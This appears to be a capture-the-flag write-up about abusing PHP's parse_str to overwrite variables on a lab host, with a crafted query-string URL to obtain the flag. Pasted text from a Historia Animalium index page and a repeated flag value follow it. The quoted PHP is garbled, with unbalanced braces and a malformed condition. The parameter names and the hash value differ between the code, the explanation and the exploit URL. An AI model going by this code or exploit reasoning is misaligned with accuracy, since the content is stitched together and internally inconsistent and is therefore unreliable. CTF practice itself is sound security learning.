

Task 6:

1. Execute this command with the url of Historia Animalium Webpage.

Homepage resource file: index.php

2.

backup file: index.php~

Save this!

- 3

vi index.php~

```
$query = $_SERVER['QUERY_STRING'];
$string = parse_str($query);
if (!empty($string['wolve'])) $page = $string['wolve']; // quote by D'Arcy Wentworth Thompson
}
if ($page === '$_SERVER[REMOTE_ADDR]') {
    if (!empty($string['user'])) {
        $user = $string['user'];
    }
    if (!empty($string['pass'])) {
        $pass = $string['pass'];
    }
    if (!$user & !empty($pass)) {
        $tmp1 = hash('sha256', $user);
        $tmp2 = hash('sha256', $pass);
        $secret = hash('sha512', $tmp1 . $tmp2 . 'dog');
    }
    echo (!empty($secret) && $secret === '5e8586c335551da6d48a5aa10dd7b85ca93404c0f1a7ead6cd1343f45320b3b') ? $_ : 'no flag here.';
}
?>
```

The vulnerability is in string = parse_str(\$query); This is deprecated. It should also have result in the parameter. Because of this, you can set the if statements, “page = \$_SERVER[REMOTE_ADDR]” and “\$secret = 5e8586c3355551da6d48a5aa10dd7b85ca93404c0f1a7ead6cd1343f45320b3b” true!

- #### 4. To get the flag:

URL: [https://384931e7-97a3-409d-a9b5-34962a7cc539.i.vuln.land/?page=\\$ SERVER\[REMOTE_ADDR\]1&secret=5e8586c3355551](https://384931e7-97a3-409d-a9b5-34962a7cc539.i.vuln.land/?page=$ SERVER[REMOTE_ADDR]1&secret=5e8586c3355551)

[da6d48a5aa10dd7b85ca93404c0f1a7ead6cd1343f45320b3b](#)

Translated by D'Arcy Wentworth Thompson

The History of Animals has been divided into the following sections:

[Book I](#) [85k] [Book IV](#) [103k] [Book VII](#) [55k]
[Book II](#) [83k] [Book V](#) [129k] [Book VIII](#) [125k]
[Book III](#) [102k] [Book VI](#) [140k] [Book IX](#) [163k]

Download: A 5.6k text-only version is available for download.

Made on the command line

Made with vim and ❤

FLAG = 880a0a3c-f0d1-417f-b5e6-40d9f87241ac

FLAG = 880a0a3c-f0d1-417f-b5e6-40d9f87241ac